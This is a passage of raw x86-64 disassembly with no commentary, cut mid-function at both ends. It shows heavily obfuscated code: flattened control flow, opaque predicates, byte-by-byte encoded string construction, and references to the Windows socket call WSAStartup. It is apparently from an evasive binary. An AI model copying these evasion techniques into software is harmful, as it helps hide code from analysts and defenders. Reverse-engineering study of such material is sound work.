cmp ecx, 0xf09ed12e
je 0x180009f22
cmp ecx, 0x5a3c35b1
jne 0x180009f10
jmp 0x180009f29
mov ecx, 0x5a3c35b1
jmp 0x180009f10
mov dword [rbp + 0xc8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xc8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x69
mov edx, 0xdf7a3ced
jmp 0x180009ef0
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov edx, dword [rbp + 0xc0]
add dl, cl
mov byte [rax + 2], dl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x180009f95
cmp ecx, 0x8d81730e
jne 0x180009f80
jmp 0x18000a020
mov ecx, 0x8d81730e
jmp 0x180009f80
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 1], cl
mov edx, 0x99d14913
cmp edx, 0xdf7a3ced
je 0x18000a0fd
cmp edx, 0x99d14913
jne 0x180009fb0
mov ecx, 0xf09ed12e
nop dword [rax]
cmp ecx, 0xf09ed12e
je 0x180009fe2
cmp ecx, 0x5a3c35b1
jne 0x180009fd0
jmp 0x180009fe9
mov ecx, 0x5a3c35b1
jmp 0x180009fd0
mov dword [rbp + 0xc8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xc8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x7a
mov edx, 0xdf7a3ced
jmp 0x180009fb0
mov dword [rbp + 0xc0], reloc.WS2_32.dll_WSAStartup
mov dword [rbp + 0xe8], 0x33
mov ecx, dword [0x180129530]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129534], 0xa
setl dl
or dl, cl
mov edi, 0x8a56d4d7
cmovne edi, r8d
mov edx, 0x8a56d4d7
cmovne edx, r9d
mov ecx, 0xaaff8048
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x18000a0c0
cmp ecx, 0xaaff8048
je 0x18000a0d7
cmp ecx, 0xb098df1d
je 0x18000a190
cmp ecx, 0x4bcc94
jne 0x18000a070
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000a070
cmp ecx, 0x8a56d4d7
je 0x18000a0db
cmp ecx, 0xa306e9fa
jne 0x18000a070
mov ecx, 0xb098df1d
jmp 0x18000a070
mov ecx, edx
jmp 0x18000a070
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x18000a070
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 2], cl
mov edx, 0x99d14913
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xdf7a3ced
je 0x18000a1cc
cmp edx, 0x99d14913
jne 0x18000a120
mov ecx, 0xf09ed12e
nop dword [rax]
cmp ecx, 0xf09ed12e
je 0x18000a152
cmp ecx, 0x5a3c35b1
jne 0x18000a140
jmp 0x18000a159
mov ecx, 0x5a3c35b1
jmp 0x18000a140
mov dword [rbp + 0xc8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xc8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x65
mov edx, 0xdf7a3ced
jmp 0x18000a120
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov edx, dword [rbp + 0xc0]
add dl, cl
mov byte [rax + 3], dl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x18000a1c5
cmp ecx, 0x8d81730e
jne 0x18000a1b0
jmp 0x18000a250
mov ecx, 0x8d81730e
jmp 0x18000a1b0
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 3], cl
mov edx, 0x99d14913
cmp edx, 0xdf7a3ced
je 0x18000a32d
cmp edx, 0x99d14913
jne 0x18000a1e0
mov ecx, 0xf09ed12e
nop dword [rax]
cmp ecx, 0xf09ed12e
je 0x18000a212
cmp ecx, 0x5a3c35b1
jne 0x18000a200
jmp 0x18000a219
mov ecx, 0x5a3c35b1
jmp 0x18000a200
mov dword [rbp + 0xc8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xc8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x45
mov edx, 0xdf7a3ced
jmp 0x18000a1e0
mov dword [rbp + 0xc0], 0x68
mov dword [rbp + 0xe8], 0x33
mov ecx, dword [0x180129530]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129534], 0xa
setl dl
or dl, cl
mov edi, 0x8a56d4d7
cmovne edi, r8d
mov edx, 0x8a56d4d7
cmovne edx, r9d
mov ecx, 0xaaff8048
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x18000a2f0
cmp ecx, 0xaaff8048
je 0x18000a307
cmp ecx, 0xb098df1d
je 0x18000a3c0
cmp ecx, 0x4bcc94
jne 0x18000a2a0
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000a2a0
cmp ecx, 0x8a56d4d7
je 0x18000a30b
cmp ecx, 0xa306e9fa
jne 0x18000a2a0
mov ecx, 0xb098df1d
jmp 0x18000a2a0
mov ecx, edx
jmp 0x18000a2a0
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x18000a2a0
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 4], cl
mov edx, 0x99d14913
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xdf7a3ced
je 0x18000a3f9
cmp edx, 0x99d14913
jne 0x18000a350
mov ecx, 0xf09ed12e
nop dword [rax]
cmp ecx, 0xf09ed12e
je 0x18000a382
cmp ecx, 0x5a3c35b1
jne 0x18000a370
jmp 0x18000a389
mov ecx, 0x5a3c35b1
jmp 0x18000a370
mov dword [rbp + 0xc8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xc8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x78
mov edx, 0xdf7a3ced
jmp 0x18000a350
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov ebx, dword [rbp + 0xc0]
add bl, cl
mov byte [rax + 4], bl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x18000a3f2
cmp ecx, 0x8d81730e
jne 0x18000a3e0
jmp 0x18000a416
mov ecx, 0x8d81730e
jmp 0x18000a3e0
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 5], cl
mov byte [rax + 6], 0
mov eax, 0x61f6fbb0
jmp 0x1800036a0
mov dword [rbp + 0xc0], 0x46
mov dword [rbp + 0xe8], 0x33
mov ecx, 0xaaff8048
nop
cmp ecx, 0xaaff8047
jle 0x18000a480
cmp ecx, 0xaaff8048
je 0x18000a497
cmp ecx, 0xb098df1d
je 0x18000a4bd
cmp ecx, 0x4bcc94
jne 0x18000a430
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000a430
cmp ecx, 0x8a56d4d7
je 0x18000a49b
cmp ecx, 0xa306e9fa
jne 0x18000a430
mov ecx, 0xb098df1d
jmp 0x18000a430
mov ecx, edx
jmp 0x18000a430
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x18000a430
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov ebx, dword [rbp + 0xc0]
add bl, cl
mov byte [rax + 5], bl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x18000a4f2
cmp ecx, 0x8d81730e
jne 0x18000a4e0
jmp 0x18000a4f9
mov ecx, 0x8d81730e
jmp 0x18000a4e0
mov dword [rbp + 0xc0], 0x69
mov dword [rbp + 0xe8], 0x33
mov ecx, 0xaaff8048
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x18000a570
cmp ecx, 0xaaff8048
je 0x18000a587
cmp ecx, 0xb098df1d
je 0x18000a5ad
cmp ecx, 0x4bcc94
jne 0x18000a520
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000a520
cmp ecx, 0x8a56d4d7
je 0x18000a58b
cmp ecx, 0xa306e9fa
jne 0x18000a520
mov ecx, 0xb098df1d
jmp 0x18000a520
mov ecx, edx
jmp 0x18000a520
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x18000a520
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov ebx, dword [rbp + 0xc0]
add bl, cl
mov byte [rax + 6], bl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x18000a5e2
cmp ecx, 0x8d81730e
jne 0x18000a5d0
jmp 0x18000a5e9
mov ecx, 0x8d81730e
jmp 0x18000a5d0
mov dword [rbp + 0xc0], WSAStartup
mov dword [rbp + 0xe8], 0x33
mov ecx, 0xaaff8048
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x18000a660
cmp ecx, 0xaaff8048
je 0x18000a677
cmp ecx, 0xb098df1d
je 0x18000a69d
cmp ecx, 0x4bcc94
jne 0x18000a610
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000a610
cmp ecx, 0x8a56d4d7
je 0x18000a67b
cmp ecx, 0xa306e9fa
jne 0x18000a610
mov ecx, 0xb098df1d
jmp 0x18000a610
mov ecx, edx
jmp 0x18000a610
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x18000a610
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov ebx, dword [rbp + 0xc0]
add bl, cl
mov byte [rax + 7], bl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x18000a6d2
cmp ecx, 0x8d81730e
jne 0x18000a6c0
jmp 0x18000a6d9
mov ecx, 0x8d81730e
jmp 0x18000a6c0
mov dword [rbp + 0xc0], 0x65
mov dword [rbp + 0xe8], 0x33
mov ecx, 0xaaff8048
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x18000a750
cmp ecx, 0xaaff8048
je 0x18000a767
cmp ecx, 0xb098df1d
je 0x18000a78d
cmp ecx, 0x4bcc94
jne 0x18000a700
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000a700
cmp ecx, 0x8a56d4d7
je 0x18000a76b
cmp ecx, 0xa306e9fa
jne 0x18000a700
mov ecx, 0xb098df1d
jmp 0x18000a700
mov ecx, edx
jmp 0x18000a700
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x18000a700
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov ebx, dword [rbp + 0xc0]
add bl, cl
mov byte [rax + 8], bl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x18000a7c2
cmp ecx, 0x8d81730e
jne 0x18000a7b0
jmp 0x18000a7c9
mov ecx, 0x8d81730e
jmp 0x18000a7b0
mov dword [rbp + 0xc0], 0x42
mov dword [rbp + 0xe8], 0x33
mov ecx, 0xaaff8048
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x18000a840
cmp ecx, 0xaaff8048
je 0x18000a857
cmp ecx, 0xb098df1d
je 0x18000a87d
cmp ecx, 0x4bcc94
jne 0x18000a7f0
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000a7f0
cmp ecx, 0x8a56d4d7
je 0x18000a85b
cmp ecx, 0xa306e9fa
jne 0x18000a7f0
mov ecx, 0xb098df1d
jmp 0x18000a7f0
mov ecx, edx
jmp 0x18000a7f0
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x18000a7f0
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov ebx, dword [rbp + 0xc0]
add bl, cl
mov byte [rax + 9], bl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x18000a8b2
cmp ecx, 0x8d81730e
jne 0x18000a8a0
jmp 0x18000a8b9
mov ecx, 0x8d81730e
jmp 0x18000a8a0
mov dword [rbp + 0xc0], 0x75
mov dword [rbp + 0xe8], 0x33
mov ecx, 0xaaff8048
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x18000a930
cmp ecx, 0xaaff8048
je 0x18000a947
cmp ecx, 0xb098df1d
je 0x18000a96d
cmp ecx, 0x4bcc94
jne 0x18000a8e0
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000a8e0
cmp ecx, 0x8a56d4d7
je 0x18000a94b
cmp ecx, 0xa306e9fa
jne 0x18000a8e0
mov ecx, 0xb098df1d
jmp 0x18000a8e0
mov ecx, edx
jmp 0x18000a8e0
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x18000a8e0
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov ebx, dword [rbp + 0xc0]
add bl, cl
mov byte [rax + 0xa], bl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x18000a9a2
cmp ecx, 0x8d81730e
jne 0x18000a990
jmp 0x18000a9a9
mov ecx, 0x8d81730e
jmp 0x18000a990
mov dword [rbp + 0xc0], 0x66
mov dword [rbp + 0xe8], 0x33
mov ecx, 0xaaff8048
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x18000aa20
cmp ecx, 0xaaff8048
je 0x18000aa37
cmp ecx, 0xb098df1d
je 0x18000aa5d
cmp ecx, 0x4bcc94
jne 0x18000a9d0
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000a9d0
cmp ecx, 0x8a56d4d7
je 0x18000aa3b
cmp ecx, 0xa306e9fa
jne 0x18000a9d0
mov ecx, 0xb098df1d
jmp 0x18000a9d0
mov ecx, edx
jmp 0x18000a9d0
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x18000a9d0
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov edx, dword [rbp + 0xc0]
add dl, cl
mov byte [rax + 0xb], dl
add rax, 0xc
mov qword [rbp + 0xc8], rax
lea rax, [0x18011f930]
mov qword [rbp + 0xc0], rax
mov eax, 0x55973c8
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x64594230
je 0x18000ae39
cmp eax, 0x55973c8
jne 0x18000aaa0
mov rax, qword [rbp + 0xc0]
movsx eax, byte [rax]
mov ecx, 0x37b3c0ed
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x37b3c0ed
je 0x18000aae2
cmp ecx, 0x8d81730e
jne 0x18000aad0
jmp 0x18000aae9
mov ecx, 0x8d81730e
jmp 0x18000aad0
mov dword [rbp + 0xe0], eax
mov dword [rbp + 0xb8], 0x33
mov eax, dword [0x180129530]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129534], 0xa
setl cl
or cl, al
mov ebx, 0x8a56d4d7
cmovne ebx, r8d
mov ecx, 0x8a56d4d7
cmovne ecx, r9d
mov eax, 0xaaff8048
nop
cmp eax, 0xaaff8047
jle 0x18000ab80
cmp eax, 0xaaff8048
je 0x18000ab95
cmp eax, 0xb098df1d
je 0x18000abbb
cmp eax, 0x4bcc94
jne 0x18000ab30
movsxd rdx, dword [rbp + 0xb8]
imul rax, rdx, 0x4ec4ec4f
mov rdi, rax
shr rdi, 0x3f
shr rax, 0x22
add eax, edi
lea edi, [rax + rax*2]
lea eax, [rax + rdi*4]
sub edx, eax
mov eax, ebx
jmp 0x18000ab30
cmp eax, 0x8a56d4d7
je 0x18000ab99
cmp eax, 0xa306e9fa
jne 0x18000ab30
mov eax, 0xb098df1d
jmp 0x18000ab30
mov eax, ecx
jmp 0x18000ab30
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
mov eax, 0x4bcc94
jmp 0x18000ab30
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
add cl, al
mov rax, qword [rbp + 0xc8]
mov byte [rax], cl
mov rax, qword [rbp + 0xc8]
mov ecx, 0x37b3c0ed
nop word cs:[rax + rax]
nop
cmp ecx, 0x37b3c0ed
je 0x18000ac02
cmp ecx, 0x8d81730e
jne 0x18000abf0
jmp 0x18000ac09
mov ecx, 0x8d81730e
jmp 0x18000abf0
mov dword [rbp + 0xe0], 0x65
mov dword [rbp + 0xb8], 0x33
mov ecx, dword [0x180129530]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129534], 0xa
setl dl
or dl, cl
mov edi, 0x8a56d4d7
cmovne edi, r8d
mov edx, 0x8a56d4d7
cmovne edx, r9d
mov ecx, 0xaaff8048
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x18000acb0
cmp ecx, 0xaaff8048
je 0x18000acc7
cmp ecx, 0xb098df1d
je 0x18000aced
cmp ecx, 0x4bcc94
jne 0x18000ac60
movsxd rbx, dword [rbp + 0xb8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000ac60
cmp ecx, 0x8a56d4d7
je 0x18000accb
cmp ecx, 0xa306e9fa
jne 0x18000ac60
mov ecx, 0xb098df1d
jmp 0x18000ac60
mov ecx, edx
jmp 0x18000ac60
mov ecx, dword [rbp + 0xb8]
mov ecx, dword [rbp + 0xb8]
mov ecx, dword [rbp + 0xb8]
mov ecx, dword [rbp + 0xb8]
mov ecx, 0x4bcc94
jmp 0x18000ac60
mov byte [rbp + 0xd8], bl
mov cl, byte [rbp + 0xd8]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 1], dl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x18000ad22
cmp ecx, 0x8d81730e
jne 0x18000ad10
jmp 0x18000ad29
mov ecx, 0x8d81730e
jmp 0x18000ad10
mov dword [rbp + 0xe0], WSAStartup
mov dword [rbp + 0xb8], 0x33
mov ecx, dword [0x180129530]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129534], 0xa
setl dl
or dl, cl
mov edi, 0x8a56d4d7
cmovne edi, r8d
mov edx, 0x8a56d4d7
cmovne edx, r9d
mov ecx, 0xaaff8048
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x18000add0
cmp ecx, 0xaaff8048
je 0x18000ade7
cmp ecx, 0xb098df1d
je 0x18000ae0d
cmp ecx, 0x4bcc94
jne 0x18000ad80
movsxd rbx, dword [rbp + 0xb8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x18000ad80
cmp ecx, 0x8a56d4d7
je 0x18000adeb
cmp ecx, 0xa306e9fa
jne 0x18000ad80
mov ecx, 0xb098df1d
jmp 0x18000ad80
mov ecx, edx
jmp 0x18000ad80
mov ecx, dword [rbp + 0xb8]
mov ecx, dword [rbp + 0xb8]
mov ecx, dword [rbp + 0xb8]
mov ecx, dword [rbp + 0xb8]
mov ecx, 0x4bcc94
jmp 0x18000ad80
mov byte [rbp + 0xd8], bl
mov cl, byte [rbp + 0xd8]
mov edx, dword [rbp + 0xe0]
add dl, cl
mov byte [rax + 2], dl
add rax, 3
mov qword [rbp + 0xe8], rax
mov eax, 0x64594230
jmp 0x18000aaa0
mov eax, 0x37b3c0ed
nop
cmp eax, 0x37b3c0ed
je 0x18000ae50
cmp eax, 0x8d81730e
jne 0x18000ae40
jmp 0x18000ae57
mov eax, 0x8d81730e
jmp 0x18000ae40
mov dword [rbp + 0xe0], reloc.WS2_32.dll_WSAStartup
mov dword [rbp + 0xb8], 0x33
mov eax, dword [0x180129530]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180129534], 0xa
setl cl
or cl, al
mov ebx, 0x8a56d4d7
cmovne ebx, r8d
mov ecx, 0x8a56d4d7
cmovne ecx, r9d
mov eax, 0xaaff8048
cmp eax, 0xaaff8047
jle 0x18000aef0
cmp eax, 0xaaff8048
je 0x18000af05
cmp eax, 0xb098df1d
je 0x18000af2b
cmp eax, 0x4bcc94
jne 0x18000aea0
movsxd rdx, dword [rbp + 0xb8]
imul rax, rdx, 0x4ec4ec4f
mov rdi, rax
shr rdi, 0x3f
shr rax, 0x22
add eax, edi
lea edi, [rax + rax*2]
lea eax, [rax + rdi*4]
sub edx, eax
mov eax, ebx
jmp 0x18000aea0
cmp eax, 0x8a56d4d7
je 0x18000af09
cmp eax, 0xa306e9fa
jne 0x18000aea0
mov eax, 0xb098df1d
jmp 0x18000aea0
mov eax, ecx
jmp 0x18000aea0
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
mov eax, dword [rbp + 0xb8]
mov eax, 0x4bcc94
jmp 0x18000aea0
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov ecx, dword [rbp + 0xe0]
add cl, al
mov rax, qword [rbp + 0xe8]
mov byte [rax], cl
mov rax, qword [rbp + 0xe8]
mov byte [rax + 1], 0
mov rcx, qword [rbp + 0x60]
sub rsp, 0x20
call fcn.18000bf20
add rsp, 0x20
mov ecx, dword [0x1801294d8]
mov edx, dword [0x1801294dc]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0xd7]
cmp edx, 0xa
setl dl
setl byte [rbp + 0xd6]
or dl, cl
mov edx, 0xc8c5b29f
mov ecx, 0x8063f108
cmovne edx, ecx
mov dword [rbp + 0xb4], edx
mov r10d, 0xc8c5b29f
mov ecx, 0x7ddfb06
cmovne r10d, ecx
mov r11d, 0xec12727d
mov ecx, 0x1d57daac
cmovne r11d, ecx
mov r14d, 0xec12727d
mov ecx, 0x18cb5172
cmovne r14d, ecx
mov r9d, 0xe9e21f4b
mov ecx, 0x4e6deaae
cmovne r9d, ecx
mov ecx, 0xe71cb6cf
jmp 0x18000aff0
mov ecx, 0x18cb5172
nop dword [rax]
mov esi, ecx
cmp ecx, 0xe9e21f4a
jle 0x18000b050
cmp esi, 0x2cebdf0a
jle 0x18000b0a0
cmp esi, 0x553ba0a3
jle 0x18000b156
cmp esi, 0x5f30b901
jg 0x18000b25d
cmp esi, 0x553ba0a4
je 0x18000b3ab
mov ecx, esi
cmp esi, 0x5cf0a5d0
jne 0x18000aff0
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x5b
setl byte [rbp + 0xf7]
mov ecx, 0xa0e5e177
jmp 0x18000aff0
cmp esi, 0xb4b5f8a9
jg 0x18000b0f0
cmp esi, 0xacd1a4a1
jle 0x18000b186
cmp esi, 0xae2d49db
jg 0x18000b2fe
cmp esi, 0xacd1a4a2
je 0x18000b3bc
mov ecx, esi
cmp esi, 0xacd9a7e7
jne 0x18000aff0
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xe0]
jmp 0x18000aff0
cmp esi, 0x1e9535f
jle 0x18000b1c5
cmp esi, 0x18cb5171
jg 0x18000b323
mov ecx, r14d
cmp esi, 0x1e95360
je 0x18000aff0
mov ecx, esi
cmp esi, 0x7ddfb06
jne 0x18000aff0
mov ecx, dword [rbp + 0xe0]
or ecx, 0x20
mov dword [rbp + 0xb8], ecx
mov ecx, dword [rbp + 0xb4]
jmp 0x18000aff0
cmp esi, 0xc62339db
jle 0x18000b205
cmp esi, 0xd0fc2277
jg 0x18000b34a
cmp esi, 0xc62339dc
je 0x18000b3d5
mov ecx, esi
cmp esi, 0xc8c5b29f
jne 0x18000aff0
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, 0x7ddfb06
jmp 0x18000aff0
cmp esi, 0x4e6deaad
jle 0x18000b389
cmp esi, 0x4e6deaae
je 0x18000b3fd
mov ecx, esi
cmp esi, 0x52a9d8f6
jne 0x18000aff0
mov ecx, 0x2cebdf0b
jmp 0x18000aff0
cmp esi, 0x8044d379
je 0x18000b407
cmp esi, 0x8063f108
je 0x18000b421
mov ecx, esi
cmp esi, 0xa0e5e177
jne 0x18000aff0
cmp byte [rbp + 0xf7], 0
mov ecx, 0xacd9a7e7
mov edx, 0xae2d49dc
cmovne ecx, edx
jmp 0x18000aff0
cmp esi, 0xe9e21f4b
je 0x18000b42b
cmp esi, 0xec12727d
je 0x18000afe8
mov ecx, esi
cmp esi, 0xffb5b154
jne 0x18000aff0
mov ecx, dword [rbp + 0xc0]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0xdf], cl
mov ecx, 0xc62339dc
jmp 0x18000aff0
cmp esi, 0xb4b5f8aa
je 0x18000b435
cmp esi, 0xbd5aa87e
je 0x18000b44e
mov ecx, esi
cmp esi, 0xbf71e338
jne 0x18000aff0
mov dword [rbp + 0xc8], r15d
mov ecx, dword [rbp + 0xc8]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0xd0], ecx
mov ecx, dword [rbp + 0xd0]
